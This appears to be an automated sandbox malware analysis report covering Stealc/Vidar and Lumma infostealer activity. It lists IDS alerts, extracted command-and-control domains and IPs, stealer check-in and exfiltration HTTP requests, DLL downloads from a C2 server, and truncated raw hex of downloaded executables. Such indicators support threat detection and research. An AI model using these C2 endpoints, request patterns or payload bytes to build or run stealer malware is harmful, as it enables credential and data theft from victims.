Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 5.75.211.162:443 -> 192.168.2.5:49718
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 5.75.211.162:443 -> 192.168.2.5:49716
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49746 -> 104.21.58.182:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49746 -> 104.21.58.182:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49750 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49750 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49748 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49748 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49752 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49762 -> 104.21.51.224:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49762 -> 104.21.51.224:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49751 -> 104.21.58.182:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49749 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49752 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49749 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49751 -> 104.21.58.182:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49754 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49754 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49747 -> 172.67.132.32:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49747 -> 172.67.132.32:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49756 -> 104.21.77.130:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49756 -> 104.21.77.130:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: gutterydhowi.shop
Source: Malware configuration extractor	URLs: vozmeatillu.shop
Source: Malware configuration extractor	URLs: drawzhotdog.shop
Source: Malware configuration extractor	URLs: reinforcenh.shop
Source: Malware configuration extractor	URLs: ghostreedmnu.shop
Source: Malware configuration extractor	URLs: fragnantbui.shop
Source: Malware configuration extractor	URLs: offensivedzvju.shop
Source: Malware configuration extractor	URLs: stogeneratmns.shop
Source: Malware configuration extractor	URLs: https://steamcommunity.com/profiles/76561199780418869

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Wed, 25 Sep 2024 18:49:59 GMTContent-Type: application/octet-streamContent-Length: 26112Last-Modified: Wed, 25 Sep 2024 14:57:44 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66f424e8-6600"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 03 70 14 f9 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 5c 00 00 00 08 00 00 00 00 00 00 be 7b 00 00 00 20 00 00 00 80 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 00 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 68 7b 00 00 53 00 00 00 00 80 00 00 86 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 00 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c4 5b 00 00 00 20 00 00 00 5c 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 86 05 00 00 00 80 00 00 00 06 00 00 00 5e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 a0 00 00 00 02 00 00 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 7b 00 00 00 00 00 00 48 00 00 00 02 00 05 00 74 43 00 00 f4 37 00 00 03 00 02 00 07 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1e 02 28 28 00 00 0a 2a 2e 73 09 00 00 06 80 07 00 00 04 2a 1a 28 33 00 00 06 2a 32 02 7b 09 00 00 04 28 14 00 00 06 2a 32 02 7b 0a 00 00 04 28 1a 00 00 06 2a 36 02 7c 0c 00 00 04 03 28 34 00 00 0a 2a 36 02 7c 10 00 00 04 03 28 34 00 00 0a 2a 36 02 7c 13 00 00 04 03 28 34 00 00 0a 2a 52 02 73 45 00 00 0a 25 6f 46 00 00 0a 18 60 6f 47 00 00 0a 2a 46 02 28 48 00 00 0a 28 49 00 00 0a 28 09 00 00 2b 2a 86 03 6f 4d 00 00 0a 25 3a 03 00 00 00 26 16 2a 28 4e 00 00 0a 02 7b 19 00 00 04 1b 6f 4f 00 00 0a 2a 5a 02 7b 20 00 00 04 72 af 02 00 70 28 01 00 00 06 28 5a 00 00 0a 2a 32 02 7b 22 00 00 04 28 3d 00 00 0a 2a 36 02 7c 24 00 00 04 03 28 34 00 00 0a 2a 36 02 7c 28 00 00 04 03 28 34 00 00 0a 2a 36 02 7c 2c 00 00 04 03 28 34 00 00 0a 2a 36 02 7c 34 00 00 04 03 28 34 00 00 0a 2a 36 02 7c 37 00 00 04 03 28 34 00 00 0a 2a 2e 28 67 00 00 0a 28 18 00 00 2b 2a a6 72 15 03 00 70 28 01 00 00 06 80 3a 00 00 04 72
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Wed, 25 Sep 2024 18:50:01 GMTContent-Type: application/octet-streamContent-Length: 377384Last-Modified: Wed, 25 Sep 2024 14:55:57 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66f4247d-5c228"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 76 23 f4 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 92 05 00 00 08 00 00 00 00 00 00 ee b0 05 00 00 20 00 00 00 c0 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 06 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 b0 05 00 57 00 00 00 00 c0 05 00 b8 05 00 00 00 00 00 00 00 00 00 00 00 9c 05 00 28 26 00 00 00 e0 05 00 0c 00 00 00 5c af 05 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 90 05 00 00 20 00 00 00 92 05 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 b8 05 00 00 00 c0 05 00 00 06 00 00 00 94 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 e0 05 00 00 02 00 00 00 9a 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 b0 05 00 00 00 00 00 48 00 00 00 02 00 05 00 c0 9e 05 00 9c 10 00 00 03 00 02 00 13 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4d d0 0c ca ae e4 f6 a2 5c 3d e1 dd 1c e6 94 08 e1 9e 18 53 8e a6 a6 21 d5 7d 10 53 99 74 d0 9f fd 0b 26 91 50 d5 69 40 cf fa 32 1e f9 9d 5e 06 2d e8 d4 cb a4 34 d2 4e 7f cd 10 aa 97 5e 49 47 ca 58 10 43 3a 2c fc 9f 3c 4a d4 cc fa 17 0f a4 49 7b 79 5d 63 66 34 73 91 d6 e5 1d 4f af 88 1a 18 dc 29 11 c4 3b 1b 78 6f 7a f7 cb ed a9 9f da 16 ed 64 69 06 30 61 34 59 93 5a ba f1 17 79 52 86 b5 00 ba 37 55 e1 00 07 0f 38 66 80 b6 bf 1a 64 a4 4c ff 2a c2 65 bc 71 11 37 31 b9 43 57 fa 42 6d 4b 0f 1a ef dd 4c 96 24 66 d4 b0 27 c7 d7 80 b0 04 e4 e4 01 4f 36 f3 cd 2c 2d 42 1f 68 28 a9 a9 11 80 1d 6c f3 d4 c0 cc 7f b9 0c 7d b7 48 c9 c6 37 c6 24 a0 d0 be fd ef 0f 24 0d 71 ba be 8f 88 a9 79 05 a4 c2 ac 83 62 8e ff 96 40 1e 67 e3 40 86 42 5b f5 94 31 0d 2b 14 a5 93 a3 73 03 ff 14 e5 eb ad fb a0 49 db 72 5a 6f 0e 64 ba 8d 08 b0 64 88 5d 58 8c f3 15 1c fa f0 07 f8 8e 36 08 18 a5 0b 19 89 c0 66 bb f3 48 d7 f7 3d 2

Source: global traffic	HTTP traffic detected: GET /profiles/76561199780418869 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /get_update.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 19Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /receive.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 84Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /get_file.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 84Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 104.21.51.224 104.21.51.224
Source: Joe Sandbox View	IP Address: 104.21.77.130 104.21.77.130
Source: Joe Sandbox View	IP Address: 104.26.12.205 104.26.12.205
Source: Joe Sandbox View	IP Address: 104.26.12.205 104.26.12.205

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 51c64c77e60f3980eea90869b68c58a8
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49720 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49716 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49713 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49711 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49718 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49719 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49712 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49722 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49724 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49721 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49723 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49725 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49726 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49727 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49728 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49729 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49731 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49730 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49734 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49735 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49732 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49737 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49733 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49742 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49739 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49736 -> 147.45.44.104:80

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GIJEGDAKEHJECAKEGDHJUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 256Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGCFHIDAKECFHIEBFCGUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FHCGHJDBFIIDGDHIJDBGUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJKEBGDHDAFHJKEGIIDUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 332Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JDBGHIIDAECBFIDHIIDGUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 5869Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlp.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KKEBKJJDGHCBGCAAKEHDUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 829Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HJDGHIJDGCBAAAAAFIJDUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FIDHIEBAAKJDHIECAAFHUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CBFBGCGIJKJJKFIDBFCGUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 1145Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GIJEGDAKEHJECAKEGDHJUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CBFBGCGIJKJJKFIDBFCGUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IIJJDGHJKKJEBFHJDBGHUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 461Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JDBFIIEBGCAKKEBFBAAFUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 98093Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EGDBFIIECBGDGDGDHCAKUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EGHJKJKKJDHIDHJKJDBGUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 499Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DGCFHIDAKECFHIEBFCGIUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 499Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JKJECBAAAFHIIEBFCBKFUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: drawzhotdog.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: gutterydhowi.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: ghostreedmnu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: offensivedzvju.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: vozmeatillu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: drawzhotdog.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: fragnantbui.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: stogeneratmns.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: reinforcenh.shop
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
